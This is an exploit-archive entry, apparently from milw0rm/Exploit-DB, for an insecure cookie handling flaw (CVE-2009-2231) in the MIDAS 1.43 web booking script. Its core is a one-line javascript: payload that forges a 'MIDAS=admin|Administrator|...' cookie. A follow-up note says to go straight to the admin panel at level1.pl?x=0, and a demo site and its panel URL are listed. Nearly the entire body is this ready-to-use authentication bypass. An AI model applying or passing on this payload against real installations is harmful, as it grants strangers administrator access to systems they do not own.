title author type platform port cve id

MIDAS 1.43 - (Authentication Bypass) Insecure Cookie Handling

Author: HxH
type: webapps
platform: cgi
port: 0
date_added: 2009-06-21
date_updated: 
verified: 1
codes: OSVDB-55439;CVE-2009-2231
tags: 
aliases: 
screenshot_url: 
application_url: 

--------------------------------------------

MIDAS Insecure Cookie Handling Vulnerability

--------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: MIDAS

Home...: http://mid.as

-------------------------------------------------------------------------------------------------

Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";

Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0

-------------------------------------------------------------------------------------------------

Demo...: http://demo.mid.as

Panel..: http://demo.mid.as/level1.pl?x=0

-----------------------------------------

Greetz.: ~ Jiko ~ Sniper Code

-----------------------------

# milw0rm.com [2009-06-22]
↑